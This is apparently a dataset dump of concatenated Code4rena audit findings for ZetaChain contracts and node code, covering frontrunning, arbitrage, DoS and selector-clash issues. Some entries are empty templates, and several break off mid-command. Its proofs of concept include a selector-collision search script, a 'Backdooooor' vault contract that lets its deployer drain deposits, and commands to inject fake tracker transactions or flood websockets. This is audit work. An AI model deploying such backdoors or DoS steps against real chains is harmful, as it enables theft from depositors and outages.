xanoutas/solidity-security-findings huggingface dataset:
Fixme should be fixed
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/main/repos/node/zetaclient/evm_client.go#L460


# Vulnerability details

## Impact
Detailed description of the impact of this finding.

// FIXME: there's a chance that a txhash in OutTxChan may not deliver when Stop() is called
// observeOutTx periodically checks all the txhash in potential outbound txs


//FIXME: remove this timeout here to ensure that all trackers are queried
			outTimeout := time.After(time.Duration(timeoutNonce) * time.Second)

//FIXME: check nonce here by getTransaction RPC

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

## Tools Used

## Recommended Mitigation Steps


## Assessed type

Context
The lack of a WETH-Profits Token pair upon calling getEthFromZeta can expose it to malicious pool creation
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/main/repos/protocol-contracts/contracts/evm/tools/ZetaTokenConsumerPancakeV3.strategy.sol#L162-L170


# Vulnerability details

## Impact
Some tokens do not have Uniswap V3 pools with WETH, which allows a bad actor to frontrun the transaction and create a pool with an offset liquidity ratio and subsequently steal the funds.

The tokens will be mostly lost due to the bad exchange rate. This will occur very rarely due to most tokens already having Uniswap v3 pairs with WETH, hence the medium severity.


## Proof of Concept
When calling getEthFromZeta the function calls ExactInputSingleParams on the Uniswap V3 SwapRouter with a token pair of WETH and the profits token address from calldata. In the case of a token pair between the two not existing the call will revert. This absence of such a pool can be used maliciously by a bad actor to frontrun the call and create a pool with an offset price so they can extract the tokens.

https://github.com/code-423n4/2023-11-zetachain/blob/main/repos/protocol-contracts/contracts/evm/tools/ZetaTokenConsumerPancakeV3.strategy.sol#L151-L182
```solidity
    function getEthFromZeta(
        address destinationAddress,
        uint256 minAmountOut,
        uint256 zetaTokenAmount
    ) external override returns (uint256) {
        if (destinationAddress == address(0)) revert ZetaCommonErrors.InvalidAddress();
        if (zetaTokenAmount == 0) revert InputCantBeZero();

        IERC20(zetaToken).safeTransferFrom(msg.sender, address(this), zetaTokenAmount);
        IERC20(zetaToken).safeApprove(address(pancakeV3Router), zetaTokenAmount);

        ISwapRouterPancake.ExactInputSingleParams memory params = ISwapRouterPancake.ExactInputSingleParams({
            tokenIn: zetaToken,
            tokenOut: WETH9Address,
            fee: zetaPoolFee,
            recipient: address(this),
            amountIn: zetaTokenAmount,
            amountOutMinimum: minAmountOut,
            sqrtPriceLimitX96: 0
        });
```

## Tools Used
Manual Review


## Recommended Mitigation Steps

Consider using swapExactInputMultihop with a path that is first swapping the less popular token into some other token with higher liquidity like USDC. It will be better for the specific case of the contract due to the arbitrary nature of the tokens it will be working with.


## Assessed type

Uniswap
Edge case where admin/observer AddToOutTxTracker will fail when len(tracker.HashList) >=2
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/x/crosschain/keeper/msg_server_add_to_outtx_tracker.go#L100-L103


# Vulnerability details

## Impact
`AddToOutTxTrakcer()` will fail to add tx during an edge case where admin/observer calls `AddToOutTxTrakcer()` with no proof provided, and when existing tracker hashlist has at least two txHashes (`len(tracker.HashList) >=2`).

## Proof of Concept
In x/crosschain/keeper/msg_server_add_to_outtx_tracker.go, `AddToOutTxTracker()` when admin/oberser calls with no proof provided, the funciton will by pass verification checks and go to finding dups `for _, hash := range tracker.HashList {. This for_loop check for any duplicaton of txHashes for current tracker. If no dups are found and `isProven ==false`, `else if len(tracker.HashList) < 2 {` check whether existing tracker.HashList has less than two Hashes. If false, then `len(tracker.HashList) < 2` will be skipped as well. 

When `else if len(tracker.HashList) < 2 {` is skipped, existing tracker will NOT be appended with the new `hash` which contains `msg.Txhash`. Instead, `k.SetOutTxTracker(ctx, tracker)` will be called directly, this only saves the existing and non-modified tracker to store, without adding the new `hash`.

```go
func (k msgServer) AddToOutTxTracker(goCtx context.Context, msg *types.MsgAddToOutTxTracker) (*types.MsgAddToOutTxTrackerResponse, error) {
...
	if !isDup {
		if isProven {
			hash.Proved = true
			tracker.HashList = append([]*types.TxHashList{&hash}, tracker.HashList...)
			k.Logger(ctx).Info("Proof'd outbound transaction")
                //@audit when else if is skipped, existing tracker will be stored without the new hash
		} else if len(tracker.HashList) < 2 {
			tracker.HashList = append(tracker.HashList, &hash)
		}
|>		k.SetOutTxTracker(ctx, tracker)
	}

```
(https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/x/crosschain/keeper/msg_server_add_to_outtx_tracker.go#L100-L103)

## Tools Used
Manual Review

## Recommended Mitigation Steps
Consider adding bypass for `len(tracker.HashList) >=2`, such that &hash will be appended to existing tracker, before `k.SetOutTxTracker(ctx, tracker)`.





## Assessed type

Error
Gas Coin Setup Result In Immediate Profitable Arbitrage
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/zeta-chain/node/blob/main/x/fungible/keeper/msg_server_deploy_fungible_coin_zrc20.go#L34


# Vulnerability details

## Impact

A gas coin can be added by running the `DeployFungibleCoinZRC20` message. This is most notably done when adding a new blockchain support, because each of them has their respective supported “gas ZRC20” which is the native token of this newly supported blockchain as a ZRC compliant token on Zetachain. These liquidity pools are required because we need to be able to get those “gas ZRC20” at some point in order to burn them to redeem them for an equivalent amount of native tokens.

If this new blockchain that is supported is Polygon, then we will deploy a liquidity pool with 0.1 WZETA and 0.1 zrc20-MATIC on deployment so validators can swap these ZETA tokens for the Polygon’s native token.

From the code:

```go
// If this is a gas coin, the following happens:
//
// * ZRC20 contract for the coin is deployed
// * contract address of ZRC20 is set as a token address in the system
// contract
// * ZETA tokens are minted and deposited into the module account
// * setGasZetaPool is called on the system contract to add the information
// about the pool to the system contract
// * addLiquidityETH is called to add liquidity to the pool
```

Which calls the `SetupChainGasCoinAndPool` function.

This is not an issue for low value tokens, but is for tokens such as BTC, ETH, and SOL.
If we take the example of BTC, with 0.1 BTC having a value of ~4400$ being added with a ZETA token which is going to make the pool imbalanced with a significant value at stake.

An arbitrage opportunity will be created as a first come first serve rule, which is going to be a net loss for the protocol because these “gas ZRC20” can be directly redeemed for native tokens on the blockchain by users by withdrawing the assets later.

Someone could then monitor for new blockchains supported by Zetachain and if the token valuation is extremely disparate compared to the ZETA token, they could backrun the liquidity add by swapping some ZETA tokens and make an instant profit.

In this command, we ask for the `token0` name of the pair 0 which is the ETH ZRC20 gas token

```bash
$ cast call $(cast call $(cast call 0x9fd96203f7b22bCF72d9DCb40ff98302376cE09c "allPairs(uint256)(address)" 0) "token0()(address)") "name()(string)"
"ETH-goerli_localnet"
```

And we can also verify that the balance of each assets in the reserves is 0.1

```bash
$ cast call $(cast call 0x9fd96203f7b22bCF72d9DCb40ff98302376cE09c "allPairs(uint256)(address)" 0) "getReserves()(uint112,uint112,uint32)"
100000000000000000 [1e17]
100000000000000000 [1e17]
1702765357 [1.702e9]
```

Next, let’s check for BTC

```bash
$ cast call $(cast call $(cast call 0x9fd96203f7b22bCF72d9DCb40ff98302376cE09c "allPairs(uint256)(address)" 1) "token1()(address)") "name()(string)"
"BTC-btc_regtest"
```

Make sure that 0.1 BTC is in the reserves

```bash
$ cast call $(cast call 0x9fd9620
rpcAddr shouldnot be hardcoded to localhost.
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/main/repos/node/rpc/websockets.go#L101


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
rpcAddr shouldnot be hardcoded to localhost.

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.


return &websocketsServer{
		rpcAddr:  "localhost:" + port, // FIXME: this shouldn't be hardcoded to localhost
		wsAddr:   cfg.JSONRPC.WsAddress,
		certFile: cfg.TLS.CertificatePath,
		keyFile:  cfg.TLS.KeyPath,
		api:      newPubSubAPI(clientCtx, logger, tmWSClient),
		logger:   logger,
	}
## Tools Used
Manual Analysis
## Recommended Mitigation Steps


## Assessed type

Context
Pay Gas in ERC20 functionality will get frontran
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/zeta-chain/node/blob/4841dfdf60b8c40a74a30bba9bffc91ef157c812/x/crosschain/keeper/gas_payment.go#L22-L41


# Vulnerability details

## Impact

Transactions on Zetachain requires gas to incentivize node runners to keep maintaining their node, necessary for the good working of the network, as well as for paying outbound transactions because validators are the one who are paying for gas fees when transferring to an “out” chain.

An UniswapV2 market is deployed at the protocol level on Zetachain.
This is to support a unique functionality to pay the gas (ZETA) in any ERC20 token from the `PayGasAndUpdateCctx` function.

In this function, if the `CoinType` is `Gas` then there is no need to swap tokens since that happens in the case of having for example a gas token being refunded from a reverting crosschain transaction initiated by a transfer to the TSS. 

But when any other token which is not the native token is used, then we will swap a part in order to match this `inputAmount` of Zeta and adjust the `Amount` of the CCTX in order to pay for gas on the destination chain.

This findings shows that because of some important security measure that are not taken during the swap, it is possible to frontrun all transactions which are using this functionality in order to make a profit on a lot of transactions happening on Zetachain.

## Proof of Concept

## 1. case common.CoinType_Zeta

This is usually triggered when the `ZetaSent` event is observed. 

The `PayGasInZetaAndUpdateCctx` function is called and is going to try to match the `zetaBurnt` value which is the acceptable maximum of Zeta tokens to spend in order to pay for the CCTX. It is most of the time the value of a transaction (amount + gas fees). The full amount may be lost and we will see why:

1. we fetch the current gas price according to the median of gas prices from the last data, and we multiply this gas price by 2. The transaction total gas amount is thus calculated with `gasPrice * 2 * gasLimit` and will be called `outTxGasFee`.
2. the minimum of Zeta tokens to receive from the swap is calculated from the spot price of the UniswapV2 pairs by quoting for the gasZRC20 / WZETA pair in order to get the `outTxGasFee` amount of Zeta to cover the CCTX fees which is called `outTxGasFeeInZeta`.
3. Burn the initial `feeInZeta` and execute the swap to get a maximum amount of tokens at the current spot price fetched at the previous step by sending `outTxGasFeeInZeta` to the router. The issue is that the slippage here is 0%, with a deadline of 1e17 which is well over the current timestamp, so that the transaction will never get invalidated, even if the spot price moves a lot, given that the slippage is set to 0%.

```solidity
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import time
>>> 1e17 / int(time.time())
58747013.8797381
>>>
```

1. Burn the received amount of gas ZRC20
Signature Collision Will Not Process The Logs Correctly
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/zeta-chain/node/blob/main/x/crosschain/keeper/evm_hooks.go#L64-L68


# Vulnerability details

## Impact

The `increaseAllowance` and `decreaseAllowance` methods are disabled on Zetachain.

https://github.com/zeta-chain/node/blob/main/x/crosschain/keeper/evm_hooks.go#L64-L68

This can cause problems for a few reasons.

- The first one is that some protocols are still using this method and may then not be deployable to Zetachain.
- The second one is that the methods are only disabled if they are called from an **EOA**, but not for a smart contract because otherwise, we could for instance use a smart contract wallet since internal calls are not parsed.
- The third one is that this block of code checks for the 4 first bytes, but they may be **clashing** with other function selectors, allowing an attacker to deploy a very sneaky backdoor on Zetachain.

## Proof of Concept

We can find clashes of this function by writing some rudimentary script that could be taken advantage of by an attacker.

```rust
use sha3::{Digest, Keccak256};

// $ cast sig "increaseAllowance(address,uint256)"
// 0x39509351
// $ cast sig "decreaseAllowance(address,uint256)"
// 0xa457c2d7

fn main() {
    let mut num = 0usize;

    let mut inc = [0; 4];
    hex::decode_to_slice("39509351", &mut inc).unwrap();
    let mut dec = [0; 4];
    hex::decode_to_slice("a457c2d7", &mut dec).unwrap();

    loop {
        let cur_word = format!("pwn_{num}()");
        let mut hasher = Keccak256::new();
        hasher.update(cur_word.as_bytes());
        let result = hasher.finalize();
        let sel = result.get(0..4).unwrap();
        if sel == inc || sel == dec {
            println!("{cur_word}");
            break;
        }
        num += 1;
    }
}
```

This script answers us with the `pwn_7429953()` signature after few seconds which clashes with the selector of `increaseAllowance(address,uint256)`.

Now, we can imagine what a backdoor would look like in Solidity, deployed on Zetachain.

```solidity
pragma solidity 0.8.20;

contract Backdooooor {
    address immutable hecker = msg.sender;
    uint256 immutable SOME_TIME;
    mapping(address => uint256) public balanceOf;

    constructor(uint256 _SOME_TIME) {
        SOME_TIME = _SOME_TIME;
    }

    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    function pwn_7429953()() external {
        uint256 bal = balanceOf[msg.sender];
        balanceOf[msg.sender] = 0;
        (bool ret, ) = msg.sender.call{value: bal}("");
        require(ret);
    }

    function sweep() external {
        if (msg.sender == hecker && block.timestamp >= SOME_TIME) {
            msg.sender.call{value: address(this).balance}("");
        }
    }
}
```

This contract is just a vault where people can deposit their ETH. they should also theoretically be able to retrieve them with the withdraw function, but because this function clashes with the `increaseAllowance` selector which is ba
DoS in Tx-Tracker
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/zetaclient/inbound_tracker.go#L55


# Vulnerability details

## Impact

In the `ObserveTrackerSuggestions()` function, the code is recalling the observer the transaction that they may have missed and are still in the in tx tracker. This can be triggered using the `zetacored tx crosschain add-to-in-tx-tracker [chain-id] [tx-hash] [coin-type] [flags]` command, and can be triggered by anyone with sufficient proof of inclusion in the block.
Observers can do it without any proof, so a malicious one may even include a fake transaction.

The issue is that the in-tracker mechanism doesn’t have any flushing mechanism for these invalid transactions. Meaning that if any of the transaction that are in the tracker are failing we never return from the loop.
Since looping over a slice is fully deterministic in Golang, this is guaranteed that any transaction that produces an error in the `CheckReceipt*` related functions is going to hide any next transaction that are in the tracker.

*File:https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/zetaclient/inbound_tracker.go#L55*

```go
func (ob *EVMChainClient) ObserveTrackerSuggestions() error {
	trackers, err := ob.zetaClient.GetInboundTrackersForChain(ob.chain.ChainId)
	if err != nil {
		return err
	}
	for _, tracker := range trackers {
		ob.logger.ExternalChainWatcher.Info().Msgf("checking tracker with hash :%s and coin-type :%s ", tracker.TxHash, tracker.CoinType)
		switch tracker.CoinType {
		case common.CoinType_Zeta:
			ballotIdentifier, err := ob.CheckReceiptForCoinTypeZeta(tracker.TxHash, true)
			if err != nil {
				return err
			}
			ob.logger.ExternalChainWatcher.Info().Msgf("Vote submitted for inbound Tracker,Chain : %s,Ballot Identifier : %s, coin-type %s", ob.chain.ChainName, ballotIdentifier, common.CoinType_Zeta.String())
		case common.CoinType_ERC20:
			ballotIdentifier, err := ob.CheckReceiptForCoinTypeERC20(tracker.TxHash, true)
			if err != nil {
				return err
			}
			ob.logger.ExternalChainWatcher.Info().Msgf("Vote submitted for inbound Tracker,Chain : %s,Ballot Identifier : %s, coin-type %s", ob.chain.ChainName, ballotIdentifier, common.CoinType_ERC20.String())
		case common.CoinType_Gas:
			ballotIdentifier, err := ob.CheckReceiptForCoinTypeGas(tracker.TxHash, true)
			if err != nil {
				return err
			}
			ob.logger.ExternalChainWatcher.Info().Msgf("Vote submitted for inbound Tracker,Chain : %s,Ballot Identifier : %s, coin-type %s", ob.chain.ChainName, ballotIdentifier, common.CoinType_Gas.String())
		}
	}
	return nil
}
```

## Proof of Concept

Let’s add the fake transactionHash `0x0000000000000000000000000000000000000000000000000000000000000000` in the tracker.

For that, we can run this command while being an observer

```bash
./zetacored tx crosschain add-to-in-tx-tracker 1337 0x00000000000000000000000000000000000
old version of solidity
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/main/repos/protocol-contracts/contracts/evm/tools/ImmutableCreate2Factory.sol#L1


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
The contract uses a fixed Solidity version (0.5.10) with no caret (^) symbol, which means it does not automatically include newer compiler versions that may contain important security fixes.

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

pragma solidity 0.5.10;
## Tools Used
Manual Analysis
## Recommended Mitigation Steps
use latest version of solidity


## Assessed type

Other
containsCaller modifier can be bypassed 
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/main/repos/protocol-contracts/contracts/evm/tools/ImmutableCreate2Factory.sol#L192


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
The containsCaller modifier can be bypassed by setting the first 20 bytes of the salt to zero. This could potentially open up the contract to front-running attacks if the user chooses to bypass this security feature.


## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.


modifier containsCaller(bytes32 salt) {
        // prevent contract submissions from being stolen from tx.pool by requiring
        // that the first 20 bytes of the submitted salt match msg.sender.
        require(
            (address(bytes20(salt)) == msg.sender) || (bytes20(salt) == bytes20(0)),
            "Invalid salt - first 20 bytes of the salt must match calling address."
        );
        _;
## Tools Used
Manual Analysis
## Recommended Mitigation Steps
We should check the modifier


## Assessed type

Context
JSON-RPC DoS through Websockets
Audit: 2023-11-zetachain-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/rpc/websockets.go#L50


# Vulnerability details

## Impact

The Websocket service accepts messages for 32MB size.

*File: [repos\node\rpc\websockets.go](https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/rpc/websockets.go#L50C1-L50C1)*

```go
const (
	messageSizeLimit = 32 * 1024 * 1024 // 32MB

)
(...)
conn.SetReadLimit(messageSizeLimit)
```

This size is 3 times bigger than what Golang accepts by default (10MB) on the HTTP service, while there is no reason that websocket payloads are bigger than HTTP payloads. In addition, there is no rate limiting within the code for the websockets.

As a consequence, an external attacker can **take down** the JSON RPC server by :

- Opening a websocket RPC Connection to Zetachain through Websockets.
- Sending in loop, with parallel workers, malicious Websockets messages (with an unknown method) and a total message size of 32MB.

### Details

When the WebSocket server runs, it listens to the messages with `readLoop()` (L211).

When a message is received, the message body is put in `mb` variable. (L222)

This content will then be used to instance a **msg** variable.

*File: [repos\node\rpc\websockets.go](https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/rpc/websockets.go#L222)*

```go
_, mb, err := wsConn.ReadMessage()
(...)
var msg map[string]interface{}
		if err = json.Unmarshal(mb, &msg); err != nil {
			s.sendErrResponse(wsConn, err.Error())
			continue
		}
```

Afterwards, some other variables are defined:

- **method** - msg["method"]
- **id** - msg["id"]

Depending on the "method", a switch case will determine the execution path.
If the method is unknown, a call is done to `tcpGetAndSendResponse()`:

*File: [repos\node\rpc\websockets.go](https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/rpc/websockets.go#L319)*

```go
		default:
			// otherwise, call the usual rpc server to respond
			if err := s.tcpGetAndSendResponse(wsConn, mb); err != nil {
				s.sendErrResponse(wsConn, err.Error())
			}
		}

```

This `tcpGetAndSendResponse` function will call the RPC, locally with HTTP:

*File: [repos\node\rpc\websockets.go](https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/rpc/websockets.go#L344)*

```go
func (s *websocketsServer) tcpGetAndSendResponse(wsConn *wsConn, mb []byte) error {
	req, err := http.NewRequestWithContext(context.Background(), "POST", "http://"+s.rpcAddr, bytes.NewBuffer(mb))
	if err != nil {
		return errors.Wrap(err, "Could not build request")
	}
```

However, this function does not perform any sanitation check.
If an attacker sends a 32Mb message on Websockets, **it will internally forward the call to the HTTP server with 32Mb payload**.

## Proof of Concept